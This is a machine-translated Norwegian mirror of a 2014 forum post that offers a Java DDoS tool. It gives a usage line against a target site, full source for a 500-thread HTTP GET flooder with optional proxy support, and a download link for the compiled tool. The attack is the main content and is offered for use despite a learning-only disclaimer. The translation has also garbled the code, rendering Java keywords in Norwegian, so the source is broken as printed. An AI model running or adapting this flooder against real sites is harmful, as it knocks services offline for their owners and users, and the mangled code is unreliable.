Denne artikkelen er en speilartikkel om maskinoversettelse, vennligst klikk her for å hoppe til originalartikkelen.

Utsikt: 15524|Svare: 0

[Tips] Java-versjonen av D-DOS-angriperprogrammet

[Kopier lenke]
Publisert på 01.12.2014 15:21:57 | | |
JAR-kode
dDOS-angrep implementert av Java.
Det er imidlertid ikke annerledes enn tradisjonelle dDo-er.
Denne programvaren er et DDOS-angrep på en side.
Slik bruker du:
Java -jar ccddos.jar www.xxx.com 80 10 /index.do brukernavn=xxx 80

[mw_shl_code=java,true]import java.io.IOException;
importere java.net.ConnectException;
importere java.net.InetSocketAddress;
import java.nio.ByteBuffer;
import java.nio.channels.SelectionKey;
importere java.nio.channels.Selector;
importere java.nio.channels.SocketChannel;
import java.util.Iterator;
importere java.util.Random;
import java.util.Set;
import java.util.Timer;
import java.util.TimerTask;
importere java.util.Vector;

/**
* Demontråder
*
* @author administrasjon
*
*/
offentlig klassetest {
    privat String-vert, uri, param;
    privat innfartshavn;
    privat final Vector<CCDDOSThread> v = ny Vector<CCDDOSThread>();
    privat InetSocketAddress isa;
    private int-tråderAntall = 500; Antall tråder
    privat Tilfeldig r = ny Tilfeldig();
    privat lang timeout = 5000 pund;

    /**
     * Åpne angrepet
     */
    public void start() {
        for (int i = 0; i < threadsCount; i++) {
            CCDDOSThread t = ny CCDDOSThread();
            v.add(t);
            t.start();
            
            
            
        }
        Timer t = ny Timer();
        t.schedule(new TimerTask() {
            offentlig void run() {
                int count = 0, timeoutthreads = 0;
                lang ct = System.currentTimeMillis();
                for (Iterator<CCDDOSThread> = v.iterator(); it.hasNext(); ) {
                    CCDDOSThread th = den.neste();
                    hvis (th.isCancle() || !th.isAlive()) {
                        it.fjern();
                        th = null;
                        tell++;
                    } ellers hvis (ct - th.start > timeout) {
                        Timeout, ekstern slutt
                        timeoutthreads++;
                        th.setCancle(true);
                        th.interrupt();
                        it.fjern();
                        th = null;
                        tell++;
                    }
                }
                hvis (antall == 0) {
                    retur;
                }
                System.out.println("Tråden har blitt lukket:"+count+", hvor timeout-tråden er koblet til:"
                        + timeout-tråder);
                for (int i = 0; Jeg < telle; i++) {
                    CCDDOSThread th = ny CCDDOSThread();
                    v.add(th);
                    th.start();
                }
            }
        }, 0l, 100p);
        System.out.println("Daemontråd startet:");
    }

    /**
     * @param args
     */
    offentlig statisk void main(String[] args) {
        hvis (args.length < 6) {
            System.out.println ("Instruksjoner:");
            System.out
                    .println("java org.p3p.net.ccddos.Main <主机> <port> <同时开启的线程数> <URI> <参数> <连接超时> [<代理主机> <代理端口>]");
            System.out.println("");
            System.exit(0);
        } ellers hvis (args.length >= 8) {
            Sett opp med en agent
            System.getProperties().put("proxySet", "true");
            System.getProperties().setProperty("http.proxyHost", args[6]);
            System.getProperties().setProperty("http.proxyPort", args[7]);
        }

        test m = ny test();
        m.host = args[0];
        m.port = Integer.valueOf(args[1]);
        m.uri = args[3];
        m.param = args[4];
        m.threadsCount = Integer.valueOf(args[2]);
        m.timeout = Long.valueOf(args[5]);
        m.isa = ny InetSocketAddress(m.host, m.port);
        m.start();
    }

    /**
     * Angrepstråder
     *
     * @author Zhanghongbo
     *
     */
    class CCDDOSThread utvider Thread {
        privat boolsk kankel = falsk;
        offentlig lang start = System.currentTimeMillis();

        public void setCancle(boolean cancle) {
            this.cancle = cancle;
        }

        offentlig boolean isCancle() {
            returner cancle;
        }

        offentlig void run() {
            lang start = System.currentTimeMillis();
            Velgervelger;
            try {
                selector = Selector.open();
                SocketChannel sc;
                try {
                    sc = SocketChannel.open(isa);
                } catch (ConnectException ex) {
                    System.out.println(ex.getMessage());
                    cancle = sann;
                    selector.close();
                    retur;
                }

                sc.configureBlocking(false);
                sc.register(selector, SelectionKey.OP_WRITE
                        | SelectionKey.OP_READ);
                wait: while (selector.select() > 0 && !cancle) {
                    hvis (System.currentTimeMillis() - start > timeout) {
                        cancle = sann;
                        Pause vent;
                    }
                    Set<?> readykey = selector.selectedKeys();
                    Iterator<?> det = readykey.iterator();
                    mens (it.hasNext() && !cancle) {
                        hvis (System.currentTimeMillis() - start > timeout) {
                            cancle = sann;
                            Pause vent;
                        }
                        SelectionKey skey = (SelectionKey) it.next();
                        it.fjern();
                        SocketChannel scc = (SocketChannel) skey.channel();

                        hvis ((skey.readyOps() & SelectionKey.OP_WRITE) == SelectionKey.OP_WRITE) {
                            Strenghode = "GET " + uri + "?" + param
                                    + "&rndnum=" + r.nextInt()
                                    + " HTTP/1.1\r\n" + "Host: " + host
                                    + "\r\n" + "Connection:close\r\n" + "\r\n";
                            ByteBuffer bbf = ByteBuffer.wrap(head.getBytes());
                            scc.write(bbf);
                        }
                        skey.cancel();
                        scc.close();
                    }
                }
                selector.close();
                sc.close();

            } catch (IOException ex) {
                cancle = sann;
            }
        }
    }
}
[/mw_shl_code]

Ferdig produkt og kildekode nedlasting: java ddos.zip (8.42 KB, Antall nedlastinger: 0, Salgspris: 2 Korn MB)





Foregående:La oss snakke om det største 400G mystiske DDoS-angrepet i historien
Neste:Send iPhone 6 for å snakke om den poengfrie versjonen med artefaktknekk
Ansvarsfraskrivelse:
All programvare, programmeringsmateriell eller artikler publisert av Code Farmer Network er kun for lærings- og forskningsformål; Innholdet ovenfor skal ikke brukes til kommersielle eller ulovlige formål, ellers skal brukerne bære alle konsekvenser. Informasjonen på dette nettstedet kommer fra Internett, og opphavsrettstvister har ingenting med dette nettstedet å gjøre. Du må fullstendig slette innholdet ovenfor fra datamaskinen din innen 24 timer etter nedlasting. Hvis du liker programmet, vennligst støtt ekte programvare, kjøp registrering, og få bedre ekte tjenester. Hvis det foreligger noen krenkelse, vennligst kontakt oss på e-post.

Mail To:help@itsvse.com